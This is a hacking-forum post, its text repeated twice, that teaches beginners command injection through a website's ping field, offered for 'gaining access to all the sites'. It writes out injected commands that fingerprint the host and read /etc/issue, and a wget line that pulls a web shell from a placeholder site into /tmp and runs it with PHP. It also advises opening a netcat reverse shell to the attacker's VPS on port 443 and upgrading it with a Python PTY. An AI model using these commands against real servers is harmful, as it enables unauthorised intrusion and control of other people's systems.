Remote Code Execution Tutorial - Noob Friendly 04-19-2016, 01:27 AM
#1
Disclaimer
I am not responsible for how you use this tutorial its was created for educational purposes.
Intro
Hello guys and welcome to my tutorial on Remote Code Execution (RCE),
I will not be providing any real targets but will be providing a realistic example,
RCE is a very useful exploit as it lets you execute direct commands to the system,
Therefore allowing us to upload files, delete files and manipulate the system how we wish.
How RCE happens
RCE most commonly happens via unsanitized input on a website input,
For example in this tutorial we will be using a ping IP input shown in the image below.
![[Image: 3dcff3c5ad8b4ecec1629333377d32a6.png]](http://i.gyazo.com/3dcff3c5ad8b4ecec1629333377d32a6.png)
Check target
Okay so with the example I have provided it was relatively simple to check if it was vulnerable by adding ";" without quotes into the input box, followed by a Nix* example below
By adding ";" this is a concatenate "Joins an extra command to supplied argument"
The following image will show the output of what we have entered.
![[Image: 3117fd17173afabb745bb9d31716cee3.png]](http://i.gyazo.com/3117fd17173afabb745bb9d31716cee3.png)
Okay so now what
Okay so we have found that via the input we have been able to execute a Nix* command to display box info,
Now what else is there we can do hmm... Okay lets try pull up what os the box is running with the following command,
This command has provided us the info of the boxes OS as shown below
![[Image: 58b1704cbc4be247dddc0c9e29d72aaf.png]](http://i.gyazo.com/58b1704cbc4be247dddc0c9e29d72aaf.png)
Well that was cool
Okay so we now found some minor useless info,
I am sure you are thinking no more minor stuff lets move on to get "r00t".
Now lets try list the current directory with "ls".
![[Image: b81c344d23b34bf9a10e79572679d5b2.png]](http://i.gyazo.com/b81c344d23b34bf9a10e79572679d5b2.png)
We have got no output!?! I guess its not that vulnerable lets move on shall we...
WRONG! Just means the current directory is not able to be listed.
As shown before ";" is for concatenate so lets try join 2 commands by doing the following to move up a directory then list.
![[Image: 6694e681f914ec7172701f2f12b49736.png]](http://i.gyazo.com/6694e681f914ec7172701f2f12b49736.png)
Success we listed the directories. +1 to you sir!
Now its a wide known fact that the tmp directory is usually writeable so lets navigate there and list by entering the following code.
![[Image: c50f06d60af783c59c1224045de5b887.png]](http://i.gyazo.com/c50f06d60af783c59c1224045de5b887.png)
Woo! We listed a writable director now lets try wget a shell to this directory by entering this code;
![[Image: eeec458609b51d5e0f8f7632d19061c2.png]](http://i.gyazo.com/eeec458609b51d5e0f8f7632d19061c2.png)
Now your shell has been uploaded you could access the shell via terminal by entering,
Alternative to a web shell
Okay so my favourite way of gaining access to all the sites is the following way,
Test for vulnerable input and instead of executing a bunch of system commands try to spawn a shell and back connect via netcat on a VPS.
now for the actual codes to spawn a shell on the server I suggest trying the following examples they have always served me well;
http://pentestmonkey.net/cheat-sheet/she...heat-sheet
Obviously change "10.0.0.1" to your VPS IP and change the port I suggest using port 443 as its commonly open.
From there for ease of use I will normally spawn a (Pseudo Terminal) PTY shell from bash by using the following code
I really hope that you enjoyed this tutorial as much as I enjoyed writing it!
Thanks for reading guys.
I am not responsible for how you use this tutorial its was created for educational purposes.
Intro
Hello guys and welcome to my tutorial on Remote Code Execution (RCE),
I will not be providing any real targets but will be providing a realistic example,
RCE is a very useful exploit as it lets you execute direct commands to the system,
Therefore allowing us to upload files, delete files and manipulate the system how we wish.
How RCE happens
RCE most commonly happens via unsanitized input on a website input,
For example in this tutorial we will be using a ping IP input shown in the image below.
![[Image: 3dcff3c5ad8b4ecec1629333377d32a6.png]](http://i.gyazo.com/3dcff3c5ad8b4ecec1629333377d32a6.png)
Check target
Okay so with the example I have provided it was relatively simple to check if it was vulnerable by adding ";" without quotes into the input box, followed by a Nix* example below
Code:
;uname -aThe following image will show the output of what we have entered.
![[Image: 3117fd17173afabb745bb9d31716cee3.png]](http://i.gyazo.com/3117fd17173afabb745bb9d31716cee3.png)
Okay so now what
Okay so we have found that via the input we have been able to execute a Nix* command to display box info,
Now what else is there we can do hmm... Okay lets try pull up what os the box is running with the following command,
Code:
;cat /etc/issue![[Image: 58b1704cbc4be247dddc0c9e29d72aaf.png]](http://i.gyazo.com/58b1704cbc4be247dddc0c9e29d72aaf.png)
Well that was cool
Okay so we now found some minor useless info,
I am sure you are thinking no more minor stuff lets move on to get "r00t".
Now lets try list the current directory with "ls".
![[Image: b81c344d23b34bf9a10e79572679d5b2.png]](http://i.gyazo.com/b81c344d23b34bf9a10e79572679d5b2.png)
We have got no output!?! I guess its not that vulnerable lets move on shall we...
WRONG! Just means the current directory is not able to be listed.
As shown before ";" is for concatenate so lets try join 2 commands by doing the following to move up a directory then list.
Code:
;cd ..;ls![[Image: 6694e681f914ec7172701f2f12b49736.png]](http://i.gyazo.com/6694e681f914ec7172701f2f12b49736.png)
Success we listed the directories. +1 to you sir!
Now its a wide known fact that the tmp directory is usually writeable so lets navigate there and list by entering the following code.
Code:
;cd ..;cd tmp;ls![[Image: c50f06d60af783c59c1224045de5b887.png]](http://i.gyazo.com/c50f06d60af783c59c1224045de5b887.png)
Woo! We listed a writable director now lets try wget a shell to this directory by entering this code;
Code:
;cd ..;cd tmp;wget http://www.yoursite.com/shell.txt > a.php![[Image: eeec458609b51d5e0f8f7632d19061c2.png]](http://i.gyazo.com/eeec458609b51d5e0f8f7632d19061c2.png)
Now your shell has been uploaded you could access the shell via terminal by entering,
Code:
;cd ..;cd tmp;php a.phpOkay so my favourite way of gaining access to all the sites is the following way,
Test for vulnerable input and instead of executing a bunch of system commands try to spawn a shell and back connect via netcat on a VPS.
now for the actual codes to spawn a shell on the server I suggest trying the following examples they have always served me well;
http://pentestmonkey.net/cheat-sheet/she...heat-sheet
Obviously change "10.0.0.1" to your VPS IP and change the port I suggest using port 443 as its commonly open.
From there for ease of use I will normally spawn a (Pseudo Terminal) PTY shell from bash by using the following code
Code:
;python -c 'import pty; pty.spawn("/bin/bash")'I really hope that you enjoyed this tutorial as much as I enjoyed writing it!
Thanks for reading guys.

![[+]](https://sinister.li/images/modern/collapse_collapsed.png)










![[Image: 7ajmN5P.jpg]](https://i.imgur.com/7ajmN5P.jpg)



![[Image: YUpAMpx.png]](https://i.imgur.com/YUpAMpx.png)